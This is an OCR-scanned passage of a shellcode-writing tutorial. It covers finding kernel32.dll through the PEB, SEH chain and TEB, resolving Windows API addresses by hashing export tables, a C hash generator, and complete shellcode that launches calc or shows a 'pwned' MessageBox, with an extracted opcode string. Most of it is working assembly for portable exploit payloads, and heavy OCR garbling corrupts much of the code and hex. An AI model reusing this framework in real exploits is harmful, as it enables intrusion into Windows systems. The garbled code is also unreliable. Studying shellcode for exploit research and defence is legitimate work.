On Windows 7, kernel32.dll is not listed as second, but as third entry. Of course, you could just change the
code and look for the third entry, but that would render the technique useless for other (non Windows 7)
versions of the Windows operating systen.

Fortunately, there are two possibe solutions to make the PEB technique work on all versions of Windows from
Windows 2000 and up (including Windows 7} :

Solution |-

(size : 22 bytes, null bytes . yes)

xor ebx, ebx ; clear ebx

mov ebx, [fs: 0x30 ] ; get a pointer to the PEB

mov ebx, [ ebx + 0x0C ] ; get PEB~>Ldr

mov ebx, [ ebx + 0xl4 ] ; get PEB->Ldr.InMemoryCrderModulelist.Flink (lst entry)
mov ebx, [ ebx ] ; get the next entry (2nd entry)

mov ebx, [ ebx ] ; get the n=y- entry (3rd entry)

mov ebx, [ ebx + 0x10 ] ; get the 3rd entries base address (kernel3Z.dll)

This code takes advantage of the fact that kernel32.dll is the 3rd entry in the InMemoryOrderModuleList. So
it’s a slightly different approach than the code earlier, where we looked at the ImtializationOrder list, but it still
uses information that can be found in the PEB. In this sample code, the base address is written into ebx. Feel
free to use a different register if required. Also, keep in mind : this code contains 3 null bytes !

Without null bytes, and using eax as register to store the base address of kernel32 into, the code is slightly
larger, and looks somewhat like this :

[RITS 32}

push esti

XOr eax, eax ; clear eax

xor ebx, ebx ; clear ebx

mov bl, 0x30 ; set ebx to 0x30

mov eax, [fs: ebx ] ; get a pointer to the PEBR (no null bytes)
mov eax, [ eax + 0x0C ] ; get PEB->Ldr

mov eax, [ eax + 0x14 ) ; get PEB->Ldr.InMemoryOrderModulelist.Flink (lst entry)
push eax

PO esi

mov eax, [ esi } ; get the next entry (2nd entry}

pusii eax

pop esi

mov eax, [ esi ] ; get the a=n. entry (3rd entry)

mov eax, [ eax + 0x10 ] ; get the 3rd entries base address (kernel32.dll)
wop esi

This code does not work 100% of the time on Windows 2000 computers. The following lines of code should
make it more reliable:
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(size : 50 bytes, null bytes : no)

¢ld ; clear the direction flag for the loop
Xxor edx, edx ; zero edx

mov edx, {[fs:edx+0x30} ; get a pointer te the PEB

mov edx, {[edx+0x0C} ; get PEB->Ldr

mov edx, [edx+0x14} ; get the first module from the

; InMemoryOrder module list

;7 for =saech module {until kernell32.dll is feound), loop

next mod:

mov esi, [edx+0x28] ; get polinter to modules name (unicode string)

push byte 24 ; push down the langi’ we want to check

Lop ecx ; set ecx to this gt for the loop

xor edi, edi ; clear edi which will store the hash cf the module nane

lcop modname:

Xoy eax, eax ; clear eax

lodsh ; r=ad in the naxt byte of the name

cmp al, 'a' ; some versions of Windows uszs lower case module names
31 not lowercase

suby al, 0x20 ; 1% so nermalise to uppercase

net lowercase:

ror edi, 13 ; rotate right our hash valus
add edi, eax ; add the nexi byte of the npame to the hash
loop loop modname ; loop until we have reasd enough

cmp edi, Ox6A4ABCSB ; compare the hash with that of KERNEL3Z.DLL
mov ebx, [edx+0x1C} ; get this modules base address

mov edx, [edx] ; get the neri module

ine next mod ;i if it doesn't match, process the naxi module

In this example, the base address of kernel32.dll will be put in ebx.
Solution 2 :
This technique will still look at the InInitializationOrderModuleList, and checks the length of the module name.

The unicode name of kernel32.dll has a terminating 0 as the 12th character. So scanning for 0 as the 24th byte
iy the name should allow you to find kernel32.dll correctly. This solution should be generic, should work on all

versions of the Windows OS, and is null byte free !

(size : 25 bytes, null bytes : no)

[BITS 32]
XOR ECX, ECX ; BCX = 0
MOV ESI, [FS:ECX + 0x30] ; ESI = &(PEB) ([F5:0x30])
MOV ESI, {ESI + (0x0C] ; EST = PEB->Ldr
MOV ESE, [ESI + 0x1C) ; ESI = PEB->Ldr.InInitOrder
next module:
MOV EBF, [ESI + 0x08] ; EBP = InInitOrder[X].base address
MOV EDI, [ESI + 0x20} i BBP = InInitOrder{X].module name (unicode)
MOV ESI, [ESI) ;i ESI = InInitOrder{¥].£flink (neri module}
CMP [EDI + 12%2]), CL ; medulename[12] == 0 7
JNE ngxt_module ; No: try nex: module.
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This technigue is based on the fact that in most cases, the last exception handler (OxfITfT) points into
kernel32.dil... so after looking up the pointer into kernel32, all we need to do is loop back to the top of the
kernel and compare the first 2 bytes. If the last exception handler does not point to kernel32.dll, then this
technique will obviously fail.

(size : 29 bytes, null bytes . no)

find kernel3Z:

sush esi ; Save esi
wusiT ecx ; Save ecx
X0Or ecx, ecx ; Lero ecx
mov esi, [fs:ecx] ; Snag wur S5EH entry
find kernel3Z seh loop:
leodsd ; Leoad the memory in esi intc eax
xchg esi, eax ; Use this eax as our naxi pointer for esi
cmp  [esi), escx ; Is the rext-handler set to Oxffffffff?

jns find kernel32 seh loop ; Nope, keep going. Otherwise, fall through.
find kernel32 seh loop_ done:
lodsd
lodsd ; Load the address of the handler into eax
find kernel3z base:
find kernel32 base_loop:
dec eax ; Subtract to our next page
Xor ax, ax ; 2ero the lower half
cmp word [eax], Ox5a4dd ; Is this the top of kernel32?
jne find kernel3Z base loop ; Nope? Try again.
find kernel32 base_ finished:

acx ; Restore ecx
asi ; Restore esi
; Return {(if not used inline)

Again, if all goes well, the address of kernel32.dll will be loaded into eax

Note : cmp word [eax], O0xS5add : 0x5ad4d = MZ is a signature, used by the MSDOS relocatable 16bit exe format.
The kemel32 file starts with this signature, so this is a way to determine the top of the dll.

TOPSTACK (TEB)

(size : 23 bytes, null bytes : no)

find kernel3Z:
piualy est ; Save esi
xor esil, esi ; Z2eroc esi
mov  eax, [fs:esi + 0Ox4} ; Extract TEB
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nov  eax, feax - Oxlc] ; Snag a function peinter that's Oxlc bytes into the
stack
find kernel32 base:
find _kernel32 base loop:
dec eax ; Subtract to .ur naxh page
X0r ax, ax ; Zero the lower half
cmp word [eax], 0xbadd ; Is this the top of kernel3Z?
jne find_kernel3Z base lcop . Nope? Try again.
find_kernel3? base finished:
wop asi ; Restore esi
ret ; Return (.7 not used inline)

The base address of kemel32.d1 will be loaded into eax if all went well.

Note : You can also use the generic.c program on the desktop of your VM to allow you to build a generic
framework for new shellcode, containing the code to find kernel32.dll and finding functions in dlis.

This chapter should provide you with the necessary tools and knowledge to dynamically locate the base address
of kernel32.dl and put it in a register. Let’s move on.

Resolving symbols/Finding symbol addresses

Once we have determined the base address of kernel32.dil, we can start using it to make our exploit more
dynamic and portable.

We will need to load other libraries, and we will need to resoive function addresses inside libraries so we can
call them from our shellcode. .

Resolving function addresses can be fone easily with GetProcAddress(), which one of the functions within
kemel32.dll. The only problem we have is : how can we call GetProcAddress() dynamically ? After all, we
cannot use GetProcAddress() to find GetProcAddress() :-)

Querving the Export Directory Table

Every DLL Portable Executable image has an export directory table, which contains the number of exported
symbols, the relative virtual address (RVA) of the functions array, the symbol names arry, and ordinals array.
There is a 1 to I match with exported symbol indexes.

In order to resolve a symbol, we can walk the export table. First, go through the symbol names array and see if
the name of the symbol matches with the symbol we are looking for. Matching the names could be done based
on the full name (a string), which would increase the size of the code, or you can create a hash of the string you
are looking for, and compare this hash with the hash of the symbol in the symbol names array. This is the
preferred method.

When the hash matches, the actual virtual address of the function can be calculated like this :
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. Index of the symbol resolved in relation to the ordinals array
2. Value at a given index of the ordinals array is used in conjunction with the functions array to produce
the relative virtual address to the symbol
3. Add the base address to this relative virtual address, and you’ll end up with the VMA {Virtual Memory
Address) of that function

This technique is generic and should work for any function in any dll — so not just for kemel32.d1L. So once you
have resolved LoadLibraryA from kernel32.dll, you can use this technique to find the address of any function in
any dll, in a generic and dynamic way.

Setup before launching the find_function code :

1. Determine the hash of the function you are trying to locate, and make sure you know what module it
belongs to. Creating hashes of functions will be discussed right below this lab — don’t worry about it too
much for now

2. Get the module base address. If the module is not kernel32.dll, you will need to

o QGet kernel32.dH base address first (see earlier)
o Find loadlibraryA function address in kernel32.dll (using the code below)
o Use loadlibrarvA to load the other module and get it’s base address (we’ll talk about this in just a
few moments)
o Use this base address to locate the function in that module
3. Push the hash of the requested function name to the stack
4. Push base address of module to stack

The assembly code to find a function address looks like this :

(size : 78 bytes, null bytes : no)

find function:

pushad ;save all registers
mov ebp, f{esp + 0Ox24} ;put base address of module that is being
; loaded in ebp
mov eax, [ebp + 0Ox3c] ;skip over MSDOS header
mov edx, [ebp + eax + 0x78) ;go to export table and put relative address
Jin edx
add edx, ebp ;add base address to it.
;edx = absolute address of export table
MoV ecx, [edx + 0x18] ;set up counter ECX
; (how many exported items are in array 7)
mov ebx, ledx + 0x20] ;put names table relative offset in ebx
add ebx, ebp ;add base address to it.

;ebx = absclute address of names table

find functicn_loop:

jecxz find function finished ;if ecx=0, then last symbol has been checked.
; {should never happen)
;unless function could not be found

dec ecx ;ecx=ecx—1

mov esi, [ebx + ecx * 4] ;get relative offset of the name associated
;with the current symbol
;and store offset in esi

add e¢si, ebp ;add base address.
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conpute hash:

XOr edi, edi
XOor eax, eax
cld

compute hash_again:

lodsh

test al, al

jz compute hash_finished
ror edi, O=xd

add edi, eax

Jmp compute hash _again

compute hash finished:

find function compare:

cmp edi, {esp + 0x28)
esp+0x28)

jnz find_ functicn_loop

mov ebx, [edx + 0x24]

add ebx, ebp

mov CX, [ebyx + 2 * ecx]
nmov ebx, {edx + Oxlc}

add ebx, ebp

mov cax, febx + 4 * acx]
put in eax

add eax, ebp

mov {esp + Oxlc], eax

find_function_finished:
popad

ret

;esl = absclute address of current symbol

jzero out edi

;Zero out eax

;clear direction flag.

;will make sure that it increments instead of
;decrements when using lods*

;load bytes at esi (current symbol name)
jinto al, + increment esi

;bitwise test

;see 1f end of string has been reached

;1f zero flag is set = end of string reached
;1f zero flag is not set, rotate current
;value of hash 13 bits to the right

;add current character of symbol name

;to hash accumulator

;continue loop

;see if computed hash matches requested hash {(at

;no match, go Lo next symbol

;1f match extract ordinals table

;relative cffset and put in ebx

;add base address.

;ebx = absolute address of ordinals address table
;get current symbol ordinal number (2 bytes)

;get address table relative and put in ebx

;add base address,

;ebx = absolute address of address table

;get relative function offset from its ordinal and

;add base address.

;eax = absolute address of function address
;overwrite stack copy of eax so popad
;will return function address in eax

;retrieve original registers,
;eax will contain function address
;only needed if code was not used inline

Suppose you pushed a pointer to the hash to the stack, then you can use this code to load the find_function

;take pointer to hash from stack and put it in esi

pop esi

lodsd ; load the hash itself into eax {pointed toc by esi)
push eax ;push hash to stack

push edx ;push base address of dll to stack

call find function

As you can see, the module base address must be in edx.
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When the find_function returns, the function address will be in eax.
If you need to find multiple functions in your application, one of the techniques to do this may be this :
» Allocate space on the stack (4 bytes for each function) and set ebp to esp. Each function address will be
written right after each other on the stack, in the order that you define
» For each dll that is involved, get the base address and then look up the requested functions in that dll :
o Wrap a loop around the find function function and write the function addresses at ebp+4, ebp+8,

and so on (so in the end, the API pointers are written in a location that you control, so you can
call them using an offset to a register (ebp in our example)

We will use this technique in an example later on.

It’s important to note that the technique of using hashes to locate function pointers is generic. That means that
we don’t have to use GetProcAddress() at all.

Creating hashes
In the previous section, we have learned how to locate the address of functions by comparing hashes.
Of course, before one can compare hashes, one needs to generate the hashes first :-)

You can generate hashes yourself using some asm code available on the projectshellcode website. Obviously
you don’t need to include this code in your exploit — you only need it to generate the hashes, so you can use
them in your exploit code.

After assembling the code with nasm, exporting the bytes with pveReadbin.pl and putting the bytes into the
testshellcode.c application, we can generate the hashes for some functions. These hashes are just based on the
function name string, so you can, of course, extend/modify the list with functions, simply modify the function
names at the bottom of the code. Keep in mind that the function names may be case sensitive !

As stated on the projectshellcode website, the compiled source code will not actually provide any output on the
command line. You really need to run the application through the debugger, and the function names + the
hashes will be pushed on the stack one by one :
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That’s nice, but a perhaps even better way to generate hashes is by using this little ¢ script, GenerateHash.c:

#incliude <stdio.h>

finclude <string.h>

#1nclude <stdlib.h>

rol {ilong value, int n};

3 ror{long value, int n}:

iorng calculate_hash(char *function name);
vald banner{):;

int main(int argc, char *argvil)

bannex () ;

LE {large <€ 2)

{
int we=0;
char *funcl]
{

b
printf (" ")
whils { *func )
{
printf (" ", calculate hash{*func), *func);
wat+;
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*func

}
}
{
chay *manfuncfi] = {argvi{l}]};
printf (" uy o,
printf (¥ ", calculate hash(*manfunc), *manfunc};
}
return 0)
}
iong
calculate hash( «har *function_name }
{
LnE aux = 0y
ungigned iong hash = 0;
while (*function_ name)
{
hash = ror{hash, 13};
hash += *function name;
*function name++;
!
whnile { hash > 0 )
{
aux = aux << §;
aux += (hash & 0x00000FF):;
hash = hash »> 8;
}
hash = aux;
revurn hash;
}
long rol{iong value, int n}
{
__,,_asm_w_ (u "
oo (value)
n " (value) R It " (n)
yi
return value;
}
Tong ror (Long value, Int n)
{

" ({value)
LT (Value) , [T (n)

conurn value;
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Lo banner ()

printf{" ny -

Compile with dev-c++.

If you run the script without arguments, it will list the hashes for the function names hardcoded in the source.
You can specify one argument (a function name) and then it will produce the hash for that function

Example :

C:\shellcode\GenerateHash>Generatelash.exe MessageBoxA

--==[ GenerateHash v1.0 J==--

HASH FUNCTION

CxABAZ24DBC MessageBoxA

Loading/Mapping libraries into the exploited process
We can use LoadLibraryA. The basic concept looks like this:

» (et base address of kernel32
« Find function pointer to LoadLibraryA
« Call LoadLibraryA(*dll name”) and return pointer to base address of this module

If you now have to cali functions in this new library, then make sure to push the base address of the module to
the stack, then push the hash of the function you want to call onto the stack, and then call the find function

code,

Putting everything together Part 1: portable Winkxec “calc” shellcode

We can use the techniques explained above to start building generic/portabie shellcode. We’ll start with an easy
example : execute calc in a generic way.

The technique Is simple. WinExec is part of kernel32, so we need to get the base address of kemel32.dll, then
we need to locate the address of WinExec within kernel32 (using the hash of WinExec), and finally we will call
WinExec, using “calc” as parameter.

In this example, we will
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« Use the Topstack technique to locate kernel32

«  Query the Export Directory Table to get the address of WinExec and ExitProcess
« Putarguments on the stack for WinExec

o Call WinExec()

« Putargument on stack for ExitProcess()

« Call ExitProcess(}

The assembly code will fook like this : (calc.asm)

; Sample shellcode that will execute calc

[Section . text]
[BITS 32]

global _start
_start:

jmp start main

;=======fFunction : Get Kernell32 base addressss====s=====
; Topstack technigque

;get kernel32 and place address in eax

find kernel32:

push esi ; Save esi

Xxor @si, esi ; Zero esi

mov eax, [fs:esi + 0x4] ; Extract TEB

mov eax, [eax - 0xlc] ; Snag a function pointer that's Oxlc bytes inte the
stack

find kernel3Z base:
find _kernel32 base loop:

dec eax ; Subtract to cur next page
XOr ax, ax ; Z2ero the lower hailf
cmp  word [eax], Oxb5add ; Is this the top of kernel32?

ine find kernel32 base loop ; Nope? Try again.
find kernellZ base finished:
pgp esi ; Restore esi
ret ; Return. Eax now contains base address of kernel32.dll

;=======function : Find function base address============
find function:

pushad ;save all registers
mov ebp, fesp + 0x24] ;put base address of module that is being
;loaded in ebp
mov eax, {ebp + 0Ox3c]) ;skip over MSDOS header
mov edx, {febp + eax + 0x78] ;go to export table and put relative address
pin edx
add edx, ebp radd base address to it.
;edx = absolute address of export table
mov ecx, [edx + 0x%18] jset up counter ECX
; {thow many exported items are in array ?)
mov ebx, [edx + 0x20] ;put names table relative offset in ebx
add ebx, ebp ;add base address to 1t.
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find function loop:

jecxz find function finished ;1f ecx=0, then last symbol has been checked.

dec
nov

add

compute hash:
edi
eax

Xor
nor
cld

ecx
esi,

esi,

edi,
eax,

[ebx +

ebp

compute hash again:
lodsb

test al,

iz
Yor

add

jmp

compute hash finished
Oxd

edi,

edi,

al

cax

ecx

compute _hash _again

compute hash finished:

find_ function_compare:
fesp +

cmp

esp+ix28)

jnz
mov
add
mov
mov

add

mov

edi,

0x28}

find function_loop
fedx +

ebx,
ebx,
Cx,

ebx,

ebx,

eax,

in eax

add

mov

cax,

[esp

ebp

[ebx

+ 2

fedx +

ebp

[ebx +

ebp

“+

Oxlc],

Ox24)

*

Oxlc}

4 *

eax

find_ function_finished:
popad

-

ret

; {should never happen}
;uniess function could not be found
;ecx=ecx-1
¥ 4] ;get relative offset of the name associated
;with the current symbol
yand store offset in esi
;add base address.
iesil = absolute address of current symbol

;zero out edi

;jzero out eax

;clear direction flag.

;will make sure that it increments instead of
;decrements when using lods*

;load bytes at esi {current symbol name}
;into al, + increment esi

;bitwise test
;see if end of string has been reached
;1f zero flag is set = end of string reached
;1f zero flag is not set, rotate current
;value of hash 13 bits to the right
;add current character of symbol name
;to hash accumulator
;continue loop

;see if computed hash matches requested hash (at

current computed hash
current function name (string)
ino match, go to next symbol
;if match @ extract ordinals table
;relative offset and put in ebx
;add base address.
;ebx = absolute address of ordinals address table
ecx} ;get current symbol ordinal number (2 bytes)
;get address table relative and put in ebx
;add base address.
;ebx = absolute address of address table
ecx |} ;get relative function offset from its ordinal and put

jedi
jesi

i

;add base address.

;eax = absolute address of function address
;overwrite stack copy of eax so popad

;will return function address in eax

sretrieve criginal registers.
jeax will contain function address
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j===m===Function : loop to lockup functions (process all hashes)w====:
find funcs for dil:

lodsd ;load current hash into eax (pointed to by esi)

push eax ;push hash to stack

push edx ;push base address of dll to stack

call find function

mov [edi], eax ;write function pointer into address at edi

add esp, 0x08

add edi, 0x04 ;increase edi to store next pointer

cmp esi, ecx ;did we process all hashes yet ?

Ine find funcs for_ dll ;get next hash and lookup function pointer
find funcs for dll finished:

ret
j=======Pynction : Get pointer to command to executes===========
GetArgument ; Define label for location of winexec argument string

call ArgumentReturn ; call return label so the return address
; (location of string) is pushed onto stack

db "calc" ; Write the raw bytes into the shellcode
; that represent our string.
db 0x00 ; Terminate our string with a null character.

;=======Functiocn : Get pointers to function hashes============

GetHashes:
call GetHashesReturn
;WinExec hash : Ox98FESAQE
db 0x%98
db OxFE
db OxB8A
db 0x0E

;ExitProcess hash = 0x7EDBEZ273
db 0x7E
db 0xD8
db COxEZ
db 0x73

start_main:

sub esp, 0x08 ;allocate space on stack Lo store 2 function addresses
;WinExec and ExitProc
mov ebp,esp ;set ebp as frame ptr for relative offset
;50 we will be able to do this:
;call ebp+4 = Execute WinExec
;call ebp+8 = Execute ExitProcess
call find_kernel32
mov edx,eax ;save base address of kernel3? in edx
jmp GetHashes ;get address of WinExec hash
GetHashesReturn:
pop esi ;get pointer to hash intc esi
lea edi, [ebp+0x4) ;we will store the function addresses at edi

{edl will be increased with 0x04 for each hash)

12
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; (see resolve symbols for dll)

‘ mov ecx,esi
add ecx, 0x08 ;

call find funcs for dil

jmp GetArgument ;

’

store address of last hash into ecx
;get function pointers for all hashes
;and put them at ebp+4 and ebp+8

jump to the location
of the WinExec argument string

ArgumentReturn: ; befine a label tc call so that
; string address is pushed on stack
pop ebx ; ebx now points to argument string
;now push parameters to the stack
XOor eax,eax rzZero out eax
push eax ;put 0 on stack
push ebx ;put. command on stack
call [ebp+4] ;call WinExec

XO0r eax,eax
push eax
call {ebp+8}

Q : why is the main application positioned at the bottom and the functions at the top ?

A Well, jumping backwards => avoids null bytes. So if you can decrease the number of forward jumps, then
you won't have to deal with that much null bytes.)

Compile and convert to bytes :

C:\shellcecde>"c:\Program Files\nasm\nasm.exe" c:\shellcodellabl\calc.asm -0

c:\shellcodel\calc.bin

C:\shellcodesperl pveReadbin.pl calc.bin

Reading calc.bin
Read 215 bytes

"\xe9\x%a\x00\x00\x00\x56\x31\xfe"
"\x64\x8b\x46\x04\x8b\ x40\ xed\ k48"
"AXG6AX31I\xcO\x66\xB81\x38\x4d\x5a"
"AXTOAXES\xSe\xc3\x60\x8b\xEc\x24"
"\x24\x8b\x45\x3c\x8b\x54\x05\x78"
"\x01\xea\x8b\x4a\x18\x8b\x5a\x20"
"\x01\xeb\xe3\x37\x4%\x8b\x34\x8b"
"\xGi\xee\x31\xff\x31\xcO\xfc\xac™
"\ x84\xcO\xT74 \x0a\xcI\xef\x0d\x01"
"o T\xe O\ X FINREFARFFAXFF\x3b\xTc"
"\x24\x28\xT75\xde\x8b\x5a\x24\x01"
"\ xeb\xo6\x8b\x0c\x4db\x8b\xba\xiac"
"\ x01\xeb\x8b\x04\x8b\x01\xe8\x89"
"A\x44\x24\x1lcA\x61\xe3\xad\ x50\ 52"
"A\xeB\xa T\ Fi\ 2 FFAXFFAB89\x07\ 81"
"\xcd\x08\xG0Ax00\x00\XBL\XeT\r(4"
"\x00Ax00\x00\x39 \xce\x75\xeb\xc3"
"\xe8\x3c\x00\x00\x00\x63\x6l\x6c"
"A\x63\x00\xeB\x1c\x00\x00\x00\ 298"
“\xfe\xBa\xle\x7e\xd8\xe2\x73\x81"
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"\xec\x08\x00\x00\x00\x89\xeb\xe8"
UAXEONRFF\XFFANFFAXBO\xc2\xe9\xadf"
MK EAARE\RFfAxBe\x8d\x7d\x04\x89"
MAREFLIAX81\xcIAx08\x00\x00\x00\xe8"
"\ xaS\REEAXTENREE A\ xe 9\ xbf\n L \xEE"
PAXEENKSDA X3 IO %50\ x53\xff\x55"
TAX04\x3I\ e\ x50\ fE\x55\x08";

As expected, the code works fine on XP SP3...

But on Windows 7 it does not work.

In order to make this one work on Windows 7 too, all you need to do is replace the entire find kernel32
function with this :

(size : 22 bytes, 5 null bytes)

find kernel32:

XOor eax, eax ; clear sax
mov eax, (£s5:0x30 ] ; get a peinter to the PEB
mov eax, [ eax + 0x0C ] ; get PEB->Ldr

mov eax, [ eax + 0x1l4 ] ; get PEB->Ldr.InMemoryCrderModulelist.Flink
; (lst entry)

mov eax, [ eax | ; get the next entry {(2nd entry)

mov eax, [ eax ] ; get the next entry {3rd entry)

mov eax, [ eax + 0x10 1 ; get the 3rd entries base address
; = kernel3Z.dll

ret

Try again :
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So if you want this technique (the one that works on Win7) too, and you need to make it null byte-free, then a

possible solution may be :

(size : 28 bytes, null bytes : no)

push esi

XOr eax, eax
xor ebx, ebx
mov bl,x30

mov eax, {fs:ebx )

mov eax, [ eax

+ 0x0C

r S
r
;
1
r

I

mov eax, [ eax + 0Oxl4 ] ;

~push eax

¢ opop esi

- mov eax, [ esi
push eax

pop esi

mov eax, [ esi
mov eax, [ eax

Ppop esi

+ 0x10

|

I3

ave esi

clear eax

clear ebx

set ebx to 30

get a pointer to the PEBR

get PEB->Ldr

get PEB->Ldr.InMemoryOrderMedulelist.Flink
(lst entry)

get the naxt entry {2nd entry)

get the naxt entry (3rd entry)}
get the 3rd entries base address
(kernel32.d1l)

;recover esi
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Let’s take it one step further. We will convert our MessageBox shellcode to a generic version that should work
on all Windows versions. When writing the shellcode, we will need to:

« Find kernel32 base address

» Find LoadLibraryA and ExitProcess in kernel32.d1l (loop that will find the function for both hashes and
will write the function pointers to the stack) '

+ Loaduser32.dli (LoadlLibraryA pointer should be on stack, so just push a pointer to “user32.dll” string
as argument and call the LoadLibraryA API). As a result, the address of user32.dll will be in eax

« Find MessageBoxA in user32.dll. No loop is required here (we only have one hash to lock up). After the
function has be found, the function pointer will be in eax.

« Push MessageBoxA arguments to stack and call MessageBox (pointer is still in eax, so call eax will do)

o Exit
The code should look something like this :

; Sample shellcode that will pop a MessageBox
; with custom title and text

[Secticon . text]
[(BITS 32]

global start
_start:

jmp start main

; Technigue : PEB InMemoryOrderModulelList
find kernel32:

XOr eax, eax ; clear ebx
mov eax, [fs:0x30 ] ; get a pointer to the PEB
mov eax, [ eax + 0x(0C ) ; get PEB-~>Ldr
mov eax, [ eax + 0x14 ] ; get PEB->Ldr.InMemoryOrderModuleList.Flink (lst entry)
mov eax, [ eax ] ; get the next entry (2nd entry)
mov eax, [ eax ) ; get the next entry (3rd entry)
mov eax, [ eax + 0x10 ] ; get the 3rd entries base address {kernel32.dll)
ret
;=======Function : Find function base addressmzswmsmss=was
find function:
pushad ;save all registers
mov ebp, [esp + 0x24] ;put base address of module that is being
;loaded in ebp
mov eax, {ebp + 0x3c} ;skip over MS3DOS header
mov edx, (ebp + eax + Ox78] ;go to export table and put relative address
;in edx
add edx, ebp ;add base address to it.
;edx = absolute address of export table
mov ecx, [edx + 0Ox18] ;set up counter ECX
; (how many exported items are in array ?)
mov ebx, [edx + 0Ox20] ;put names table relative offset in ebx
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add ebx, ebp

find function loop:

jecxz find function finished

dec ecx
mov esi, [ebx + ecx *

add esi, ebp

compute hash:
xeor edi, edi
Xor eax, eax
cld

compute hash again:
lodsb

test al, al

jz compute hash finished
ror edi, Oxd

add edi, eax

imp compute hash again
compute hash_finished:
findmfunctionmcomparé:

cmp edi, fesp + 0Ox28]
espt0xzZ8)

jnez find_function_loop
mov ebx, [edx + 0Ox24]

add ebx, ebp

mov Cx, [ehx + 2 * e
mov ebx, [edx + Oxlc}
add ebx, ebp

mov eax, {ebx + 4 *
in eax

add eax, ebp

mov [esp + Oxicl, eax

find function finished:
popad

cx)

ecx ]

;add base address to it.
;ebx = absolute address of names table

;if ecx=0, then last symbol has been checked.

; {should never happen)

;unless function could nct be found

jecx=gcx~1

;get relative offset of the name associated

;with the current symbol
;and store offset in esi
;add base address.

;esi = absolute address of current symbol

jzero ocut edi
;jzero out eax
;clear direction flag.

;will make sure that it increments instead of

;decrements when using lods?*

;load bytes at esi (current symbol name)

Jinto al, + increment esi
;bitwise test

;see if end of string has been reached
;if zero flag is set = end of string reached

;if zero flag is not set,

rotate current
;value of hash 13 bits to the right

;add current character of symbol name

;to hash accumulator
;continue loop

;see if computed hash matches requested hash

;edi = current computed hash
;esi = current function name
:no match, go to next symbol
extract ordinals table
;relative offset and put in ebx

;if match

;add base address.

;jebx = absolute address of ordinals address table
;get current symbol ordinal number

(string}

(2 bytes)

;get address table relative and put in ebx

;add base address.

;ebx = absolute address of address table

;get relative function offset from its ordinal and put

;add base address.

;eax = absolute address of function address
;overwrite stack copy of eax so popad
;will return function address in eax

;retrieve original registers,
;eax will contain function address
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rat

y=======Function : loop to leookup functions for a given dll (process all
hashes)====s=======
find funcs for dll:
lodsd ;load current hash into eax (pointed to by esi)
push eax ;push hash to stack
push edx ;push base address of dll to stack
call find function
mov [edi], eax ;write function pointer into address at edi
add esp, 0x08
add edi, 0x04 ;increase edi to store next pointer
cmp esi, ecx ;did we process all hashes yet ?

jne find funcs for dll ;get next hash and lookup function pointer
findmfuncsvforﬁdllﬁflnlshed

ret
;=======function : Get pointer to MessageBox Titless==mmsmmmmss
GetTitle: ; Define label for location of winexec argument string

call TitleReturn ; call return label so the return address

; (location of string) is pushed onto stack
db "InfoSec Institute” Write the raw bytes into the shellcode

dbb 0x00 ; Terminate our string with a null character,
j=======Pynction : Gel pointer to MessageBox Texims===m=mm====
GetText: ; Define label for location of msgbox argument string
call TextReturn ; call return label so the return address
; (locaticn of string) is pushed onto stack
dbh "You have been pwned by Infofec Institute" ; Write the raw bytes into the
shellcode
db 0x00 ; Terminate our string with a null character.
;=======Function : Get pointer tc user32.dl]l texts=s===s=====
GetUser32: ; befine label for locatiocn of user32.dll string
call User32Return ; call return label so¢ the return address
; (locaticon of string) is pushed onto stack
db "user3zZ.dll" ; Write the raw bytes intoc the shellccde
db 0x00 ; Terminate our string with a null character.

j=======function : Get pointers to function hashess===========

GetHashes:
call GetHashesReturn
; LoadLibrarvyA hash : O0x8E4EQEEC
db OxBE
db Ox4E
db 0x0E
db OxEC

;ExitProcess hash = Ox7ED8E273
db O0x7E
db 0xD8
db OxEZ
db 0x73

GetMsgBoxHash:
call GetMsgBoxHashReturn
;MessageBoxA hash = OxA8AZ24DBC
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db 0xA8
db OxAZ
dlx 0x4D
db 0xBC

start main:

sub esp, 0x08 ;allocate space on stack to store 2 things
;in this order : ptr to LoadLibraryh, ExitProc
mov ebp,esp ;set ebp as frame ptr for relative offset
;so we will be able to do this:
;call ebptd = Execute LoadLibraryh
;call ebp+8 = Execute ExitProcess
call find kernel32
mov edx,eax ;save base address of kernel32 in edx
;locate functions inside kernel32 first
jmp GetHashes ;get address of first hash
GetHashesReturn:
pop esi ;get pointer to hash into esi
lea edi, {ebp+lxd) ;we will store the function addresses at edi

; (edi will be increased with 0x04 for each hash)
; (see resolve symbols for dill)
mov ecx,esi
add ecx, 0x08 i store address of last hash into ecx
call find funcs for dll ; get function pointers for the 2
; kernel32 functicn hashes
; and put them at ebp+4 and ebp+8
;locate function in user3Z.dll
;loadlibrary first - so first put pointer to string user32.dll to stack
jmp GetUser32
User32Return:
;pointer to Muser3?.dll" is now on top of stack, so just call LoadLibrary
call [ebp+0x4]
;the base address of user3Z.dll is now in eax {if loaded correctly)
;put it in edx so it can be used in find function
mov edx,eax
;find the MessageBoxA function
;first get pointer to functicn hash
jmp GetMsgBoxHash

GetMsgBoxHashReturn
;put pointer in esi and prepare to look up function
pop esi
lodsd ;load current hash intc eax (pointed to by esi)
push eax ;push hash to stack
push edx ;push base address of dll to stack

call find function
;Eunction address should be in eax now
;we'll keep it there

jmp GetTitle ;jump to the location
;o0f the MsgBox Title string
TitleReturn: ;Define a label to call so that
;string address 1s pushed on stack
pop ebx ;ebx now points to Title string
jmp GetText ;dump to the location
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;of the MsgBox Text string

TextReturn: ;Define a label to call so that
;string address is pushed on stack
pop ecx jec now points to Text string

;now push parameters to the stack

X0or ed:x,edx Jzeroc outb edx

push edx ;put 0 on stack

push ebx ;put pointer to Title on stack

push ecx ;put pointer to Text on stack

push edx ;put 0 on stack

call eax ;call MessageBoxA (0, Text,Title, ()
JExitFunc

XOr eax,eax
;zero out eax

push eax ;put 0 on stack

call f[ebp+8] ;ExitProcess (0)

(more than 290 bytes, and inciudes 38 null bytes !)

You can now apply these techniques and build more powerfull shellcode — or just play with it and extend this

example a little — just like this :

; Sample shellcode that will pop & MessageBox

; with custom title and text and "OK" + "Cancel" button
; and based on the button you click, something else

; will be performed

[Section .text]
[BITS 32}

global _start
_start:

jmp start main

;Technigue : PEB InMemoryOrderModulelist
find kernel32:

{ist entry)

XOor eax, eax ; clear ebx

mov eax, [fs:0x30 ] ; get a pointer to the PEB

mov eax, [ eax + 0x0C ] ; get PEB->Ldr

mov eax, [ eax + Oxl4 ] ; get PEB->Ldr. InMemoryOrderModulelist.Flink

mov eax, [ eax ) ; get the next entry {(2nd entry)

mov eax, [ eax ] ; get the next entry (3rd entzy)

mov eax, [ eax + 0x1i0 } ; get the 3rd entries base address (kernel32.dll)
ret
